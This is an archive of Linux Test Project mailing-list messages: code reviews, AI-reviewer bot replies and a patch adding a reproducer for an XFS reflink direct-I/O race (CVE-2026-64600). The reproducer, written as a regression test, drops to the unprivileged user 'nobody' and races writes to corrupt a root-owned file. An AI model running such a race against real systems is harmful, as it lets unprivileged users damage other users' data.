In-Reply-To: <20260805100901.GA459979@pevik>
References: <20260804132857.552304-1-chrubis@suse.cz>
 <20260805100901.GA459979@pevik>
Message-ID: <anRHJ8FSTcjOZh-P@rei>

Hi!
Thanks for the reviews, pushed.

-- 
Cyril Hrubis
chrubis@suse.cz

From chrubis@suse.cz  Thu Aug  6 10:35:05 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Thu, 6 Aug 2026 10:35:05 +0200
Subject: [LTP] [PATCH] hugemmap36: Fix compilation on alpine
In-Reply-To: <6a743f65.a02854e2.1dc6f5.e4b5@mx.google.com>
References: <20260806070625.19475-1-chrubis@suse.cz>
 <6a743f65.a02854e2.1dc6f5.e4b5@mx.google.com>
Message-ID: <anRHOYqcTMaMhiAk@rei>

Hi!
Thanks for the review, pushed.

-- 
Cyril Hrubis
chrubis@suse.cz

From jstancek@redhat.com  Thu Aug  6 10:36:44 2026
From: jstancek@redhat.com (Jan Stancek)
Date: Thu, 6 Aug 2026 10:36:44 +0200
Subject: [LTP] [PATCH v8] power_management: rewrite runpwtests04.sh in C
In-Reply-To: <20260805154727.GB649402@pevik>
References: <20260805145213.3066-1-always.starving0@gmail.com>
 <20260805154727.GB649402@pevik>
Message-ID: <CAASaF6yfmq8FPtVVzQjG3PFRNkJbJKdWUUM1GiXV-xaQdQwR8w@mail.gmail.com>

On Wed, Aug 5, 2026 at 5:48?PM Petr Vorel <pvorel@suse.cz> wrote:
>
> Hi Jinseok Kim,
>
> [Cc Jan ]

CC mailing list

>
> > +/*\
> > + * Basic cpuidle sysfs smoke test.
> > + *
> > + * Verify that selected cpuidle sysfs files are readable and contain
> > + * non-empty values. Also verify that current_governor rejects an
> > + * invalid governor.
> > + *
> > + * Root privileges are required to write to current_governor.
> > + */
> > +
> > +#include <errno.h>
> > +#include <fcntl.h>
> > +#include <unistd.h>
> > +
> > +#include "tst_test.h"
> > +
> > +#define CPUIDLE_PATH "/sys/devices/system/cpu/cpuidle"
> > +#define AVAILABLE_GOVERNORS CPUIDLE_PATH "/available_governors"
> > +#define CURRENT_DRIVER CPUIDLE_PATH "/current_driver"
> > +#define CURRENT_GOVERNOR CPUIDLE_PATH "/current_governor"
> > +#define CURRENT_GOVERNOR_RO CPUIDLE_PATH "/current_governor_ro"
> > +
> > +static void verify_readable(const char *path)
> > +{
> > +     int ret;
> > +     char buf[32];
> > +
> > +     int fd = open(path, O_RDONLY);
> > +
> > +     if (fd < 0) {
> > +             if (errno == ENOENT)
> > +                     tst_res(TCONF, "%s is not available", path);
> While this works, we have .save_restore, you would use it with TST_SR_TCONF_MISSING
> https://linux-test-project.readthedocs.io/en/latest/developers/api_c_tests.html#saving-and-restoring-proc-sys-values
>
> But because that would skip whole testing if one of them is missing, maybe
> instead each test function should check with tst_sys_conf_save().
>
> @Jan Or something else would be more appropriate than lib/tst_sys_conf.c to just
> detect path existence?

tst_path_exists()  + FILE_SCANF() perhaps, and you report again errors
from FILE_SCANF() as TFAIL

>
> Kind regards,
> Petr
>


From linuxtestproject.agent@gmail.com  Thu Aug  6 10:50:49 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Thu,  6 Aug 2026 08:50:49 +0000
Subject: [LTP] cve: reproducer for cve-2026-64600
In-Reply-To: <20260801-cve-2026-64600-v5-1-2b9e0d5277e4@suse.com>
References: <20260801-cve-2026-64600-v5-1-2b9e0d5277e4@suse.com>
Message-ID: <20260806085049.22237-1-linuxtestproject.agent@gmail.com>

Hi Andrea,

On August 1, 2026, Andrea Cervesato wrote:
> cve: reproducer for cve-2026-64600

> 	struct stat sb;
>
> 	SAFE_STAT(".", &sb);
> 	blksize = sb.st_blksize;

Could the I/O size and alignment be derived from MNTPOINT or TARGET instead?
The framework mounts XFS at MNTPOINT but leaves "." on the surrounding
temporary filesystem, whose block size can differ from that of XFS.

For example, with a 1 KiB host filesystem and a 4 KiB XFS filesystem, these
writes are not XFS-block-aligned. xfs_file_dio_write_unaligned() returns
-ENOTBLK for the reflinked file, and xfs_file_write_iter() silently retries
the operation as buffered I/O. SAFE_PWRITE() still succeeds, but the test can
then report TPASS without exercising xfs_direct_write_iomap_begin() or the
target race.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From andrea.cervesato@suse.com  Thu Aug  6 11:32:06 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Thu, 06 Aug 2026 09:32:06 +0000
Subject: [LTP] cve: reproducer for cve-2026-64600
In-Reply-To: <20260806085049.22237-1-linuxtestproject.agent@gmail.com>
Message-ID: <6a7454a8.9b80fa5d.1fd0d2.3b4b@mx.google.com>

> On August 1, 2026, Andrea Cervesato wrote:
> > cve: reproducer for cve-2026-64600
> 
> > 	struct stat sb;
> >
> > 	SAFE_STAT(".", &sb);
> > 	blksize = sb.st_blksize;
> 
> Could the I/O size and alignment be derived from MNTPOINT or TARGET instead?
> The framework mounts XFS at MNTPOINT but leaves "." on the surrounding
> temporary filesystem, whose block size can differ from that of XFS.

This is actually accurate and I need to fix it before merge.

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.de  Thu Aug  6 11:45:31 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Thu, 06 Aug 2026 11:45:31 +0200
Subject: [LTP] [PATCH v6] cve: reproducer for cve-2026-64600
Message-ID: <20260806-cve-2026-64600-v6-1-26c11513c75a@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS
reflink copy-on-write path for direct I/O writes. The bug was introduced
in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW
blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample
the data fork mapping after cycling ILOCK").

Reviewed-by: Martin Doucha <mdoucha@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
This reproducer has been created with the usage of Kimi K3 (as analyzer
and writer) and DeepSeek v4 Flash (Max) as reviewer, by taking the
RefluXFS technical paper as input:
https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt

On bugged kernel:

tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #21 SMP PREEMPT_DYNAMIC Fri Jul 24 10:20:05 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
cve-2026-64600.c:233: TFAIL: round 0: racing O_DIRECT write to the clone succeeded
[    1.252815] cve-2026-646
HINT: You _MAY_ be missing kernel fixes:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2f4acd0fcd86

HINT: You _MAY_ be vulnerable to CVE(s):

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64600

Summary:
passed   0
failed   1
broken   0
skipped  0
warnings 0

On patched kernel:

tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #20 SMP PREEMPT_DYNAMIC Fri Jul 24 10:08:53 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
[    1.665909] clocksource: Watchdog remote CPU 2 read timed out
[    8.099229] cve-2026-64600 (249) used greatest stack depth: 12216 bytes left
cve-2026-64600.c:242: TPASS: Source file survived racing O_DIRECT writers

Summary:
passed   1
failed   0
broken   0
skipped  0
warnings 0
---
Changes in v6:
- use MNTPOINT for getting filesystem block size
- Link to v5: https://lore.kernel.org/20260801-cve-2026-64600-v5-1-2b9e0d5277e4@suse.com

Changes in v5:
- fix description
- remove unused variable
- fix build in opensuse/42.2
- Link to v4: https://lore.kernel.org/20260731-cve-2026-64600-v4-1-8a222eca3a5d@suse.com

Changes in v4:
- remove pressure thread
- move cve before memory leaking CVEs
- Link to v3: https://lore.kernel.org/20260731-cve-2026-64600-v3-1-192da4ddf707@suse.com

Changes in v3:
- use fuzzy loop
- get blksize from stat()
- remove cleanup sentence in the description
- Link to v2: https://lore.kernel.org/20260724-cve-2026-64600-v2-1-c039960448f6@suse.com

Changes in v2:
- rename refluxfs.c
- ensure reflink=1 for mkfs.xfs
- remove root restore
- Link to v1: https://lore.kernel.org/20260724-cve-2026-64600-v1-1-8fa214385d2e@suse.com
---
 runtest/cve              |   1 +
 testcases/cve/.gitignore |   1 +
 testcases/cve/Makefile   |   2 +-
 testcases/cve/refluxfs.c | 227 +++++++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 230 insertions(+), 1 deletion(-)

diff --git a/runtest/cve b/runtest/cve
index 99d84270b..426b203e9 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -89,6 +89,7 @@ cve-2023-0461 setsockopt10
 cve-2023-31248 nft02
 cve-2023-52879 fanotify25
 cve-2026-53362 setsockopt11
+cve-2026-64600 refluxfs
 # Tests below may cause kernel memory leak
 cve-2020-25704 perf_event_open03
 cve-2022-0185 fsconfig03
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index bc1af0dd2..5aa038cd5 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -16,3 +16,4 @@ tcindex01
 cve-2025-38236
 cve-2025-21756
 cve-2026-46331
+refluxfs
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index 98c38e908..6be4999a3 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -11,7 +11,7 @@ stack_clash:	CFLAGS += -fno-optimize-sibling-calls -Wno-infinite-recursion
 
 cve-2016-7042:	LDLIBS += $(KEYUTILS_LIBS)
 
-cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053:  CFLAGS += -pthread
+cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 refluxfs:  CFLAGS += -pthread
 cve-2014-0196 cve-2016-7117 cve-2017-2671:  LDLIBS += -lrt
 
 ifneq ($(ANDROID),1)
diff --git a/testcases/cve/refluxfs.c b/testcases/cve/refluxfs.c
new file mode 100644
index 000000000..a7171ca3e
--- /dev/null
+++ b/testcases/cve/refluxfs.c
@@ -0,0 +1,227 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS
+ * reflink copy-on-write path for direct I/O writes. The bug was introduced
+ * in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW
+ * blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample
+ * the data fork mapping after cycling ILOCK").
+ *
+ * When an :manpage:`ioctl(2)` FICLONE clone is written via ``O_DIRECT``,
+ * ``xfs_direct_write_iomap_begin()`` samples the clone's data-fork mapping
+ * under ILOCK and calls ``xfs_reflink_allocate_cow()``, which drops the
+ * ILOCK to allocate a transaction and then re-checks whether the *stale*
+ * physical block is still shared. If a second racing ``O_DIRECT`` writer
+ * completes a full copy-on-write cycle inside that lock-drop window, the
+ * old shared block's refcount drops to one, the first writer takes the
+ * "not shared, write in place" branch, and its write is submitted to the
+ * physical block that now belongs only to the reflink source file,
+ * corrupting it on disk.
+ *
+ * [Algorithm]
+ *
+ * - Create a root-owned target file on a reflink-enabled XFS and fill
+ *   its first block with a known pattern
+ * - Drop privileges to the unprivileged user ``nobody``
+ * - Positive control: a single ``O_DIRECT`` write to a fresh clone must
+ *   be copy-on-written and leave the target untouched
+ * - Each round: reflink-clone the target into a scratch clone file, each
+ *   issuing one block-sized ``O_DIRECT`` :manpage:`pwrite(2)` at offset 0
+ *   of the clone
+ * - After each round, read back the target's first block bypassing the
+ *   page cache (``O_DIRECT``): any byte differing from the original
+ *   pattern means a racing write refluxed into the source file and the
+ *   kernel is vulnerable
+ */
+
+#include <pwd.h>
+
+#include "tst_test.h"
+#include "tst_safe_prw.h"
+#include "lapi/ficlone.h"
+#include "tst_fuzzy_sync.h"
+
+#define MNTPOINT	"mnt"
+#define WORKDIR		MNTPOINT "/work"
+#define TARGET		WORKDIR "/target"
+#define CLONE		WORKDIR "/clone"
+
+static char *tbuf, *wbuf, *rbuf;
+
+static int target_fd = -1;
+static int target_dio_fd = -1;
+static int clone_fd = -1;
+
+static int blksize;
+
+static struct tst_fzsync_pair pair;
+
+static void *writer_b(void *arg)
+{
+	int fd;
+
+	(void)arg;
+
+	while (tst_fzsync_run_b(&pair)) {
+		tst_fzsync_wait_b(&pair);
+
+		fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+
+		tst_fzsync_start_race_b(&pair);
+		SAFE_PWRITE(1, fd, wbuf, blksize, 0);
+		tst_fzsync_end_race_b(&pair);
+
+		SAFE_CLOSE(fd);
+	}
+
+	return NULL;
+}
+
+static void drop_privileges(void)
+{
+	struct passwd *pw;
+
+	pw = SAFE_GETPWNAM("nobody");
+	SAFE_SETEGID(pw->pw_gid);
+	SAFE_SETEUID(pw->pw_uid);
+}
+
+static void setup(void)
+{
+	int probe_fd, probe_dio_fd;
+	struct stat sb;
+
+	SAFE_STAT(MNTPOINT, &sb);
+	blksize = sb.st_blksize;
+
+	tbuf = SAFE_MEMALIGN(blksize, blksize);
+	wbuf = SAFE_MEMALIGN(blksize, blksize);
+	rbuf = SAFE_MEMALIGN(blksize, blksize);
+
+	memset(tbuf, 'A', blksize);
+	memset(wbuf, 'X', blksize);
+	memset(rbuf, 0, blksize);
+
+	SAFE_MKDIR(WORKDIR, 0700);
+	SAFE_CHMOD(WORKDIR, 0777);
+
+	target_fd = SAFE_OPEN(TARGET, O_RDWR | O_CREAT | O_TRUNC, 0644);
+	SAFE_WRITE(1, target_fd, tbuf, blksize);
+	SAFE_FSYNC(target_fd);
+	SAFE_CLOSE(target_fd);
+
+	drop_privileges();
+
+	target_fd = SAFE_OPEN(TARGET, O_RDONLY);
+	probe_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+	TEST(ioctl(probe_fd, FICLONE, target_fd));
+	if (TST_RET == -1) {
+		if (TST_ERR == EOPNOTSUPP || TST_ERR == EINVAL || TST_ERR == ENOSYS) {
+			tst_brk(TCONF, "reflink clones not supported: %s",
+				tst_strerrno(TST_ERR));
+		}
+
+		tst_brk(TBROK | TTERRNO, "ioctl(FICLONE) failed");
+	}
+
+	probe_dio_fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+	SAFE_PWRITE(1, probe_dio_fd, wbuf, blksize, 0);
+	SAFE_CLOSE(probe_dio_fd);
+	SAFE_CLOSE(probe_fd);
+
+	/* The racy write bypasses the target's page cache, so must the read */
+	target_dio_fd = SAFE_OPEN(TARGET, O_RDONLY | O_DIRECT);
+
+	SAFE_PREAD(1, target_dio_fd, rbuf, blksize, 0);
+	if (memcmp(rbuf, tbuf, blksize))
+		tst_brk(TBROK, "Source file modified by a single O_DIRECT write to the clone");
+
+	tst_fzsync_pair_init(&pair);
+}
+
+static void run(void)
+{
+	int corrupted = 0;
+
+	tst_fzsync_pair_reset(&pair, writer_b);
+
+	while (tst_fzsync_run_a(&pair)) {
+		clone_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+		/*
+		 * target_fd is O_RDONLY opened as "nobody".  FICLONE
+		 * checks inode permission against our effective UID.
+		 */
+		SAFE_IOCTL(clone_fd, FICLONE, target_fd);
+		SAFE_CLOSE(clone_fd);
+
+		clone_fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+
+		tst_fzsync_wait_a(&pair);
+
+		tst_fzsync_start_race_a(&pair);
+		SAFE_PWRITE(1, clone_fd, wbuf, blksize, 0);
+		tst_fzsync_end_race_a(&pair);
+
+		SAFE_PREAD(1, target_dio_fd, rbuf, blksize, 0);
+		SAFE_CLOSE(clone_fd);
+
+		if (memcmp(rbuf, tbuf, blksize)) {
+			tst_res(TFAIL, "racing O_DIRECT write to the clone succeeded at loop %d", pair.exec_loop);
+			corrupted = 1;
+			break;
+		}
+	}
+
+	if (!corrupted)
+		tst_res(TPASS, "Source file survived racing O_DIRECT writers");
+}
+
+static void cleanup(void)
+{
+	tst_fzsync_pair_cleanup(&pair);
+
+	if (target_dio_fd != -1)
+		SAFE_CLOSE(target_dio_fd);
+
+	if (target_fd != -1)
+		SAFE_CLOSE(target_fd);
+
+	if (clone_fd != -1)
+		SAFE_CLOSE(clone_fd);
+
+	free(tbuf);
+	free(wbuf);
+	free(rbuf);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.runtime = 180,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNTPOINT,
+	.filesystems = (struct tst_fs []) {
+		{
+			.type = "xfs",
+			.min_kver = "4.16",
+			.mkfs_ver = "mkfs.xfs >= 1.5.0",
+			.mkfs_opts = (const char *const []) {
+				"-m", "reflink=1",
+				NULL
+			},
+		},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "2f4acd0fcd86"},
+		{"CVE", "2026-64600"},
+		{}
+	},
+};

---
base-commit: 12fcadf63a99fc4bec76f9b4715cda626256562f
change-id: 20260724-cve-2026-64600-53fd6d627d63

Best regards,
--  
Andrea Cervesato <andrea.cervesato@suse.com>


From pvorel@suse.cz  Thu Aug  6 12:31:46 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Thu, 6 Aug 2026 12:31:46 +0200
Subject: [LTP] [PATCH v5] min_free_kbytes: Handle transient memory drops
 in check_monitor
In-Reply-To: <20260729053803.9823-1-wegao@suse.com>
References: <20260602010137.27226-1-wegao@suse.com>
 <20260729053803.9823-1-wegao@suse.com>
Message-ID: <20260806103146.GA838915@pevik>

Hi Wei,

> High memory pressure can cause MemFree to temporarily drop below the
> min_free_kbytes threshold before the kernel reclaimer can catch up.
> This results in intermittent test failures, observed on openQA aarch64
> virtual machines.

> Implement a 2-second grace period with high-accuracy 10ms fixed polling
> in check_monitor() to allow the kernel time to reclaim memory.

> Introduce a 10% tolerance (90% threshold) for the MemFree check.
> Measurements under extreme pressure show MemFree can dip as low as
> ~50% to ~70% of the target. While it typically recovers above 90%
> within one second, hitting the exact 100% watermark sometimes can take
> significantly longer. This tolerance prevents false positives during the
> slow recovery tail while still ensuring memory is maintained near the
> required level.

> Also, increase the monitor's idle polling frequency from 2s to 100ms
> to improve responsiveness during the test run.

+1

> Enhanced diagnostics are added to report the minimum memory level seen
> during the pressure period to aid in future calibration.

> +++ b/testcases/kernel/mem/tunable/min_free_kbytes.c
...
>  	while (!end) {
>  		memfree = SAFE_READ_MEMINFO("MemFree:");
>  		tune = TST_SYS_CONF_LONG_GET(PATH_VM_MIN_FREE_KBYTES);
> +		/*
> +		 * Allow 10% tolerance to account for transient states.
> +		 */
> +		threshold = tune * 9 / 10;

>  		if (memfree < tune) {
> -			tst_res(TINFO, "MemFree is %lu kB, "
> -				"min_free_kbytes is %lu kB", memfree, tune);
> -			tst_res(TFAIL, "MemFree < min_free_kbytes");
> -			violated = 1;
> +			min_memfree = memfree;
> +			/*
> +			 * Give it some time to reclaim. The kernel should keep
> +			 * MemFree above min_free_kbytes, but transient drops
> +			 * are possible under high pressure.
> +			 * Check every 10ms for up to 2 seconds for high accuracy.
> +			 */
> +			for (i = 10; i <= 2000; i += 10) {
> +				usleep(10000);
You used i for usleep() in v1 and v2 [1]. Since v3 [2] you keep using
usleep(10000), therefore we could have just simple loop (readability):

			for (i = 0; i < 200; i++) {

Otherwise LGTM, thanks! (I don't agree with AI that 90% threshold is
hiding bugs). Please repost, so that we have patch in the new patchwork instance
in patchwork.kernel.org (+ please create an user on that instance if you haven't
already done), because old patchwork don't receive emails any more.

Reviewed-by: Petr Vorel <pvorel@suse.cz>

Kind regards,
Petr

[1] https://lore.kernel.org/ltp/20260527050843.14963-1-wegao@suse.com/
[2] https://lore.kernel.org/ltp/20260531134250.25279-1-wegao@suse.com/

From linuxtestproject.agent@gmail.com  Thu Aug  6 12:39:19 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Thu,  6 Aug 2026 10:39:19 +0000
Subject: [LTP] nfs_lib: Skip NFS versions disabled on server
In-Reply-To: <20260806074713.158271-1-avinesh.kumar@suse.com>
References: <20260806074713.158271-1-avinesh.kumar@suse.com>
Message-ID: <20260806103919.3882-1-linuxtestproject.agent@gmail.com>

Hi Avinesh,

On 6 Aug 2026, Avinesh Kumar wrote:
> nfs_lib: Skip NFS versions disabled on server

Verdict - Reviewed

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Thu Aug  6 12:40:55 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Thu,  6 Aug 2026 10:40:55 +0000
Subject: [LTP] tpci: refactor kernel module
In-Reply-To: <20260806-tpci_refactoring-v2-1-bdc3a749ca02@suse.com>
References: <20260806-tpci_refactoring-v2-1-bdc3a749ca02@suse.com>
Message-ID: <20260806104055.4267-1-linuxtestproject.agent@gmail.com>

Hi Andrea,

On Thu, Aug 6, 2026, Andrea Cervesato wrote:
> tpci: refactor kernel module

--- [PATCH 2/2] ---

> +	for (int i = 0; i < PCI_TCASES_NUM; ++i) {
> +		if (i == PCI_DISABLE)
> +			continue;

Could the successful PCI_ENABLE and PCI_RESOURCES calls be balanced on all
exit paths instead of unconditionally skipping PCI_DISABLE?

In Linux 7.2, pci_enable_device() increments pci_dev.enable_cnt even when
the device is already enabled, and pci_disable_device() must be called once
for each successful enable. These two test cases therefore leak at least two
enable references per run with -d, and more with -i. Unloading the test module
does not restore that system-wide PCI state.

> +		if (!is_target && is_destructive_test(i))
> +			continue;
> +
> +		SAFE_FILE_PRINTF(DEV_TCASE, "%d", i);

Could PCI_RESOURCES guarantee that the target's original driver is rebound
before this destructive case is enabled?

test_assign_resources() releases the driver before pci_assign_resource(), but
only calls device_attach() when assignment returns zero. It also ignores a
zero or negative device_attach() result and treats -EBUSY from assignment as
TPASS. An assignment or reprobe failure can therefore leave the selected
device unbound after the test, and module cleanup does not restore it.

> Merge kernel module with the current test inside the same folder and
> refactor tpci test using new API.
>
> Now test has a -d option to select device for operating destructive
> tests on target.

Could the commit message explain why the directory merge, API conversion,
and selective destructive execution are needed? The current body only
restates what the patch changes.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Thu Aug  6 12:41:48 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Thu,  6 Aug 2026 10:41:48 +0000
Subject: [LTP] cve: reproducer for cve-2026-64600
In-Reply-To: <20260806-cve-2026-64600-v6-1-26c11513c75a@suse.com>
References: <20260806-cve-2026-64600-v6-1-26c11513c75a@suse.com>
Message-ID: <20260806104148.8947-1-linuxtestproject.agent@gmail.com>

Hi Andrea,

On Thu, Aug 6, 2026, Andrea Cervesato wrote:
> cve: reproducer for cve-2026-64600

Verdict - Reviewed

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From pvorel@suse.cz  Thu Aug  6 13:30:13 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Thu, 6 Aug 2026 13:30:13 +0200
Subject: [LTP] [PATCH v12] fsconfig04: Check FSCONFIG_SET_PATH
In-Reply-To: <20260804010439.15195-1-wegao@suse.com>
References: <20260803021230.14530-1-wegao@suse.com>
 <20260804010439.15195-1-wegao@suse.com>
Message-ID: <20260806113013.GA850008@pevik>

Hi Wei,

> The fsconfig01.c does not test if FSCONFIG_SET_PATH has any effect;
> most of the calls there just set a dummy "sync" parameter. This test
> case aims to verify if the FSCONFIG_SET_PATH operation can be used
> to dynamically change the external journal device of an ext3 or ext4
> filesystem.

LGTM, thanks!
Reviewed-by: Petr Vorel <pvorel@suse.cz>

...
> +	char loop_name[NAME_MAX];
> +	char path[PATH_MAX + 32];
> +	char device_str[NAME_MAX];
> +	unsigned int major, minor, device_num;
> +	unsigned int found = 0;
very nit: I'd use bool for found (but of course it can stay as int).

> +
> +	SAFE_SSCANF(dev2, "/dev/%s", loop_name);
> +
> +	snprintf(path, sizeof(path), "/sys/block/%s/dev", loop_name);
> +	SAFE_FILE_SCANF(path, "%u:%u", &major, &minor);
> +	device_num = (minor & 0xff) | (major << 8) | ((minor & ~0xff) << 12);
> +	snprintf(device_str, sizeof(device_str), "0x%04x", device_num);
> +
> +	char line[PATH_MAX];
> +	FILE *tune2fs;
> +
> +	snprintf(path, sizeof(path), "tune2fs -l %s 2>&1", dev0);
> +	tune2fs = SAFE_POPEN(path, "r");
> +
> +	while (fgets(line, PATH_MAX, tune2fs)) {
> +		if (*line && strstr(line, "Journal device:") && strstr(line, device_str)) {
> +			found = 1;
> +			break;
> +		}
> +	}
> +
> +	if (found == 1)
> +		tst_res(TPASS, "Device found in journal");
> +	else
> +		tst_res(TFAIL, "Device not found in journal");
> +
> +	pclose(tune2fs);
> +	SAFE_CLOSE(fd);
> +}
> +
> +static struct tst_test test = {
> +	.test_all = run,
> +	.setup = setup,
> +	.cleanup = cleanup,
> +	.needs_root = 1,
> +	.needs_tmpdir = 1,
.needs_tmpdir is probably useless (run: 'cd doc/ && make clean && make' to see
the errors) => I can delete it before merge.

Kind regards,
Petr

From chrubis@suse.cz  Thu Aug  6 13:45:43 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Thu, 6 Aug 2026 13:45:43 +0200
Subject: [LTP] [PATCH 1/5] mremap01: Convert to new API
In-Reply-To: <20260721-rewrite_mremap_testing_suite-v1-1-ec2c3cff6ea4@suse.com>
References: <20260721-rewrite_mremap_testing_suite-v1-0-ec2c3cff6ea4@suse.com>
 <20260721-rewrite_mremap_testing_suite-v1-1-ec2c3cff6ea4@suse.com>
Message-ID: <anRz55OQe2cjL12R@rei>

Hi!
> -	/*
> -	 * Call mmap to map virtual memory (memsize bytes) from the
> -	 * beginning of temporary file (offset is 0) into memory.
> -	 */
> -	addr = mmap(0, memsize, PROT_WRITE, MAP_SHARED, fildes, 0);
> +	for (ind = 0; ind < newsize; ind++)
> +		addr[ind] = (char)ind;
>  
> -	/* Check for the return value of mmap() */
> -	if (addr == (char *)MAP_FAILED) {
> -		tst_brkm(TBROK, cleanup, "mmaping Failed on %s", TEMPFILE);
> -	}
> +	SAFE_MSYNC(addr, newsize, MS_SYNC);
>  
> -	/* Stretch the file to newsize of virtual memory block */
> -	if (lseek(fildes, (off_t) newsize, SEEK_SET) != (off_t) newsize) {
> -		tst_brkm(TBROK, cleanup, "lseek() to %d offset pos. Failed, "
> -			 "error=%d : %s", newsize, errno, strerror(errno));
> -	}
> +	if (verify_file())
> +		tst_res(TFAIL, "mremap()'d region did not sync to the file");
> +	else
> +		tst_res(TPASS, "Functionality of mremap() is correct");
>  
> -	/* Write one byte data into temporary file */
> -	if (write(fildes, "\0", 1) != 1) {
> -		tst_brkm(TBROK | TERRNO, cleanup, "writing to %s failed",
> -			 TEMPFILE);
> -	}

We should probably ftruncate(fd, 0) here so that we start with the same
state on -i 10.

> +	SAFE_MUNMAP(addr, newsize);
> +	addr = MAP_FAILED;

Can we patch SAFE_MUNMAP() to set the addr to MAP_FAILED as we do in
SAFE_CLOSE()?


Otherwise:
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>

-- 
Cyril Hrubis
chrubis@suse.cz

From chrubis@suse.cz  Thu Aug  6 13:50:58 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Thu, 6 Aug 2026 13:50:58 +0200
Subject: [LTP] [PATCH 2/5] mremap02: Convert to new API
In-Reply-To: <20260721-rewrite_mremap_testing_suite-v1-2-ec2c3cff6ea4@suse.com>
References: <20260721-rewrite_mremap_testing_suite-v1-0-ec2c3cff6ea4@suse.com>
 <20260721-rewrite_mremap_testing_suite-v1-2-ec2c3cff6ea4@suse.com>
Message-ID: <anR1Is0EQYGj6nvv@rei>

Hi!
> -	/* Set the old virtual memory address */
> -	addr = (char *)(addr + (memsize - 1));
> +	if (TST_RET_PTR != MAP_FAILED)
> +		SAFE_MUNMAP(TST_RET_PTR, new_size);

If we managed to remap the mapping the addr is no loger valid and we
will pass address that is not inside a mapping on next iteration in -i
10, I guess that we need to re-initialize page = SAFE_MMAP() and
bad_addr = page+1;


Otherwise:

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>

-- 
Cyril Hrubis
chrubis@suse.cz

From chrubis@suse.cz  Thu Aug  6 13:58:24 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Thu, 6 Aug 2026 13:58:24 +0200
Subject: [LTP] [PATCH 3/5] mremap03: Convert to new API
In-Reply-To: <20260721-rewrite_mremap_testing_suite-v1-3-ec2c3cff6ea4@suse.com>
References: <20260721-rewrite_mremap_testing_suite-v1-0-ec2c3cff6ea4@suse.com>
 <20260721-rewrite_mremap_testing_suite-v1-3-ec2c3cff6ea4@suse.com>
Message-ID: <anR24AjwFuyxk-ZY@rei>

Hi!
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>

-- 
Cyril Hrubis
